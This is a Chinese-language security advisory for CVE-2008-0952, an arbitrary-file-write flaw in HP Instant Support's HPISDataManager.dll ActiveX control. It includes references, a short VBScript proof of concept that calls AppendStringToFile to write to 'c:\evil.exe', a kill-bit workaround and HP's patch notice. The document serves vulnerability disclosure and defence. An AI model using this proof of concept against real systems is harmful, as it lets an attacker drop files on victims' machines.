HP Instant Support HPISDataManager.dll ActiveX控件写入任意文件漏洞
发布日期:2008-06-03
更新日期:2008-06-05
受影响系统:HP Instant Support 1.0.0.22
不受影响系统:HP Instant Support 1.0.0.24
描述:
BUGTRAQ ID:
29535
CVE(CAN) ID:
CVE-2008-0952
HP Instant Support是是基于网络的故障诊断和排除工具套件,适用于桌面计算和打印产品。
HP Instant Support所安装的HPISDataManager.dll ActiveX控件没有正确地过滤对AppendStringToFile函数的输入参数。如果用户受骗访问了恶意网页并向该函数传送了恶意参数的话,就可能导致向系统上的任意位置写入任意文件。
<*来源:Dennis Rand (
DER@cowi.dk)
链接:
http://secunia.com/advisories/30516/
http://www.csis.dk/dk/forside/CSIS-RI-0003.pdf
http://marc.info/?l=bugtraq&m=121259280006874&w=2
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01422264
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' />
<script language='vbscript'>
targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll"
prototype = "Sub AppendStringToFile ( ByVal bstrInputFileName As String , ByVal bstrInputString As
String )"
memberName = "AppendStringToFile"
progid = "HPISDataManagerLib.Datamgr"
argCount = 2
arg1="c:\evil.exe"
arg2=String("CSIS entered this")
target.AppendStringToFile arg1 ,arg2
</script></job></package>
建议:
临时解决方法:
* 为clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC设置kill-bit。
厂商补丁:
HP
--
HP已经为此发布了一个安全公告(HPSBMA02326)以及相应补丁:
HPSBMA02326:SSRT071490 rev.1 - HP Instant Support HPISDataManager.dll Running on Windows, Remote Execution of Arbitrary Code
链接:
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01422264浏览次数:2454
严重程度:0(网友投票)